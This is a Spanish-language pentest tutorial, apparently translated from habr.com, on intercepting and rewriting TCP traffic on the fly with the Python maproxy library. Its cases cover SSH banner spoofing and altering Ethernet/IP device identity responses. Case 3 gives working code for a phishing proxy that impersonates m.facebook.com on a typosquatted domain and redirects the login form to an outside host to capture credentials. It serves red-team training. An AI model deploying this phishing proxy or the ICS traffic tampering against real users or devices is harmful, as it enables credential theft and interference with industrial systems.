Procese datos de red sobre la marcha

La traducción del artículo se preparó la víspera del inicio del curso. “Pentest. Práctica de pruebas de penetración".

Procese datos de red sobre la marcha

Abstracto

Una variedad de tipos de evaluaciones de seguridad, que van desde pruebas de penetración periódicas y operaciones del Red Team hasta piratería de dispositivos IoT/ICS y SCADA, implican trabajar con protocolos de red binarios, es decir, esencialmente interceptar y modificar datos de red entre el cliente y el objetivo. Olfatear el tráfico de la red no es una tarea difícil ya que contamos con herramientas como Wireshark, Tcpdump o Scapy, pero modificar parece ser una tarea más laboriosa ya que necesitaremos tener algún tipo de interfaz para leer los datos de la red, filtrarlos, cambiarlos. sobre la marcha y enviarlo de vuelta al host de destino casi en tiempo real. Además, sería ideal si dicha herramienta pudiera funcionar automáticamente con múltiples conexiones paralelas y poder personalizarse mediante scripts.

Un día descubrí una herramienta llamada maproxy, la documentación rápidamente me dejó claro que maproxy - justo lo que necesito. Este es un proxy TCP bastante simple, versátil y fácilmente configurable. Probé esta herramienta en varias aplicaciones bastante complejas, incluidos dispositivos ICS (que generan muchos paquetes) para ver si podía manejar muchas conexiones paralelas, y la herramienta funcionó bien.

Este artículo le presentará el procesamiento de datos de red sobre la marcha utilizando maproxy.

Descripción

Herramienta maproxy se basa en Tornado, un marco de red asincrónico maduro y popular en Python.

En general, puede funcionar de varios modos:

  • TCP:TCP – conexiones TCP no cifradas;
  • TCP:SSL и SSL:TCP – con cifrado unidireccional;
  • SSL:SSL – cifrado bidireccional.

Viene como una biblioteca. Para un inicio rápido, puede utilizar archivos de ejemplo que reflejen los principales funciones de biblioteca:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caso 1: proxy bidireccional simple

Basado en tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Por defecto ProxyServer() toma dos argumentos: la ubicación de la conexión y el puerto de destino. server.listen() toma un argumento: el puerto para escuchar la conexión entrante.

Ejecutando el script:

# python tcp2tcp.py

Para ejecutar la prueba, nos conectaremos a un servidor SSH local a través de nuestro script proxy, que escucha 2222/tcp puerto y se conecta a un puerto estándar 22/tcp Servidores SSH:

Procese datos de red sobre la marcha

El banner de bienvenida le informa que nuestro script de ejemplo ha enviado correctamente el tráfico de red.

Caso 2 – modificación de datos

Otro guión de demostración logging_proxy.py ideal para interactuar con datos de red. Los comentarios en el archivo describen los métodos de clase que puede modificar para lograr su objetivo:

Procese datos de red sobre la marcha

Lo más interesante está aquí:

  • on_c2p_done_read – interceptar datos en el camino desde el cliente al servidor;
  • on_p2s_done_read - al revés.

Intentemos cambiar el banner SSH que el servidor devuelve al cliente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Ejecute el script:

Procese datos de red sobre la marcha

Como puede ver, el cliente fue engañado porque el nombre del servidor SSH para él se cambió a «DumnySSH».

Procese datos de red sobre la marcha

Caso 3: página web de phishing sencilla

Hay infinitas formas de utilizar esta herramienta. Esta vez centrémonos en algo más práctico desde el lado de las operaciones del Equipo Rojo. Imitemos la página de destino. m.facebook.com y utilizar un dominio personalizado con un error tipográfico deliberado, por ejemplo, m.facebok.com. Para fines de demostración, supongamos que el dominio está registrado por nosotros.

Vamos a establecer una conexión de red no cifrada con el proxy de nuestras víctimas y SSL Stream al servidor de Facebook (31.13.81.36). Para que este ejemplo funcione, necesitamos reemplazar el encabezado del host HTTP e inyectar el nombre de host correcto, y también desactivaremos la compresión de respuestas para que podamos acceder fácilmente a los contenidos. En última instancia, reemplazaremos el formulario HTML para que las credenciales de inicio de sesión se envíen a nosotros en lugar de a los servidores de Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/es/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

En resumen:

Procese datos de red sobre la marcha

Como puede ver, pudimos reemplazar con éxito el sitio original.

Caso 4: Portación de Ethernet/IP

He estado trabajando con dispositivos y software industriales (ICS/SCADA) durante bastante tiempo, como controladores programables (PLC), módulos de E/S, variadores, relés, entornos de programación en escalera y muchos más. Este caso es para quienes gustan de las cosas industriales. Hackear este tipo de soluciones implica jugar activamente con los protocolos de red. En el siguiente ejemplo, me gustaría mostrar cómo se puede modificar el tráfico de la red ICS/SCADA.

Para hacer esto, necesita lo siguiente:

  • Rastreador de redes, por ejemplo, Wireshark;
  • Ethernet/IP o simplemente un dispositivo SIP, puede encontrarlo utilizando el servicio Shodan;
  • Nuestro guión se basa en maproxy.

Primero, veamos cómo se ve una respuesta de identificación típica de CIP (Protocolo Industrial Común):

Procese datos de red sobre la marcha

La identificación del dispositivo se logra mediante el protocolo Ethernet/IP, que es una versión mejorada del protocolo Ethernet industrial que incluye protocolos de control como CIP. Vamos a cambiar el nombre de ID resaltado que es visible en la captura de pantalla. "NI-IndComm para Ethernet" usando nuestro script proxy. Podríamos reutilizar el guión. logging_proxy.py y de manera similar modificar el método de clase on_p2s_done_read, porque queremos que un nombre de identidad diferente sea visible en el cliente.

Código:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Básicamente, solicitamos la identificación del dispositivo dos veces, la segunda respuesta fue la original y la primera se modificó sobre la marcha.

Y el último

En mi opinión maproxy Una herramienta cómoda y sencilla, que también está escrita en Python, por lo que creo que usted también puede beneficiarse de su uso. Por supuesto, existen herramientas más complejas para procesar y modificar datos de red, pero también requieren más atención y generalmente se crean para un caso de uso específico, por ejemplo. murena, Modlishka o evilginx para casos similares al tercero, o canapé para el último caso. De una forma u otra, con la ayuda maproxy Puede implementar rápidamente sus ideas para interceptar datos de la red, ya que los scripts de ejemplo son muy claros.

Prueba de mecanismos de autenticación en Windows AD

Fuente: habr.com

Añadir un comentario